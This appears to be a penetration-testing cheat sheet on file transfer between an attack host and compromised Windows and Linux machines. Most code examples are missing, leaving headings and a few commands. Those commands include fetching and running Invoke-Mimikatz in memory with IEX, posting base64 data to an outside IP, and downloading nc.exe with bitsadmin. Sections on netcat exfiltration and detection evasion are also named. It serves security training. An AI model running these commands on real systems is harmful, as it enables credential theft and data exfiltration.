File Transfer
[*] Windows File Transfer
Download
Download a file with PowerShell
Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1Execute a file in memory using PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')Upload a file with PowerShell
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64Download a file using Bitsadmin
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exeDownload a file using Certutil
Download a file using Wget
Download a file using cURL
Download a file using PHP
Invoke-WebRequest using a Chrome User Agent
Upload
Convert encode the content of the file in base64 on the victim machine then decode it on your host machine
Set a python upload webserver then use PSUpload.ps1 Inoke-FileUpload function from the victim machine to upload the desired file.
Another way to use PowerShell and base64 encoded files for upload operations is by using
Invoke-WebRequestorInvoke-RestMethodtogether with Netcat. We use Netcat to listen in on a port we specify and send the file as aPOSTrequest. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.
Using WebDav Server. To set up our WebDav server, we need to install two Python modules,
wsgidavandcheroot. After installing them, we run thewsgidavapplication in the target directory.
Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module
pyftpdlib, we need to specify the option--writeto allow clients to upload files to our attack host.
OR
Create a Command File for the FTP Client to Upload a File
[*] Linux File Transfer
Download
Base64 Enconding/Decoding
From the source machine:
To destination machine:
The confirm file has with
Download a File Using wget
Download a File Using cURL
Download with Bash(/dev/tcp)
There may also be situations where none of the well-known file transfer tools are available. As long as Bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/TCP device file can be used for simple file downloads.
Linux - Downloading Files Using SCP
Upload
For this Linux example, let's see how we can configure the uploadserver module to use HTTPS for secure communication.
Installing the uploadserver module
Create a Self-Signed Certificate:
The webserver should not host the certificate. I recommend creating a new directory to host the file for our webserver.
Upload Multiple Files
Creating a Web Server with Python3
Creating a Web Server with Python2.7
Creating a Web Server with PHP
Creating a Web Server with Ruby
After setting a web server with any of the above methods you can just download your files using
[*] Transfering Files with Code
Download
Python 2
Python3
PHP Download with File_get_contents()
PHP Download with Fopen()
PHP Download a File and Pipe it to Bash
Ruby
Perl
Javascript
We'll create a file called wget.js and save the following content:
We can use the following command from a Windows command prompt or PowerShell terminal to execute our JavaScript code and download a file.
VBScript
We'll create a file called wget.vbs and save the following content:
We can use the following command from a Windows command prompt or PowerShell terminal to execute our VBScript code and download a file.
Upload
Upload Operations using Python3
Starting the Python uploadserver Module
Uploading a File Using a Python One-liner
[*] Miscellaneous File Transfer Methods
File Transfer with Netcat and Ncat
NetCat - Compromised Machine - Listening on Port 8000
Ncat - Compromised Machine - Listening on Port 8000
The option -q 0 will tell Netcat to close the connection once it finishes. That way, we'll know when the file transfer was completed.
Netcat - Attack Host - Sending File to Compromised machine
Ncat - Attack Host - Sending File to Compromised machine
The --send-only flag, when used in both connect and listen modes, prompts Ncat to terminate once its input is exhausted.
Attack Host - Sending File as Input to Netcat
Compromised Machine Connect to Netcat to Receive the File
Attack Host - Sending File as Input to Ncat
Compromised Machine Connect to Ncat to Receive the File
NetCat - Sending File as Input to Netcat
Ncat - Sending File as Input to Netcat
Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
PowerShell Session File Transfer
To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the Remote Management Users group, or have explicit permissions for PowerShell Remoting in the session configuration. Let's create an example and transfer a file from DC01 to DATABASE01 and vice versa.
We have a session as Administrator in DC01, the user has administrative rights on DATABASE01, and PowerShell Remoting is enabled. Let's use Test-NetConnection to confirm we can connect to WinRM.
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
Because this session already has privileges over DATABASE01, we don't need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.
Create a PowerShell Remoting Session to DATABASE01
Copy samplefile.txt from our Localhost to the DATABASE01 Session
Copy DATABASE.txt from DATABASE01 Session to our Localhost
RDP
Mounting a Linux Folder Using rdesktop
Mounting a Linux Folder Using xfreerdp
[*] Protected File Transfers
File Encryption on Windows
Import Module Invoke-AESEncryption.ps1
File Encryption Example
File Decryption Example
File Encryption on Linux
Encrypting /etc/passwd with openssl
We can also override the default iterations counts with the option -iter 100000 and add the option -pbkdf2 to use the Password-Based Key Derivation Function 2 algorithm.
Decrypt passwd.enc with openssl
[*] Catching Files over HTTP/S
Nginx - Enabling PUT
Create a Directory to Handle Uploaded Files
Change the Owner to www-data
Create Nginx Configuration File
Create the Nginx configuration file by creating the file /etc/nginx/sites-available/upload.conf with the contents:
Symlink our Site to the sites-enabled Directory
Start Nginx
Verifying Errors
Remove NginxDefault Configuration
Upload File Using cURL
[*] Living off The Land
LOLBAS
To search for download and upload functions in LOLBAS we can use /download or /upload.
Upload win.ini to our Pwnbox
File Received in our Netcat Session
GTFOBins
To search for the download and upload function in GTFOBins for Linux Binaries, we can use +file download or +file upload.
Create Certificate in our Pwnbox
Stand up the Server in our Pwnbox
Download File from the Compromised Machine
Other Common Living off the Land tools
File Download with Bitsadmin
OR
Download a File with Certutil
[*] Evading Detection
Request with Chrome User Agent
LOLBAS / GTFOBins
Transferring File with GfxDownloadWrapper.exe
Last updated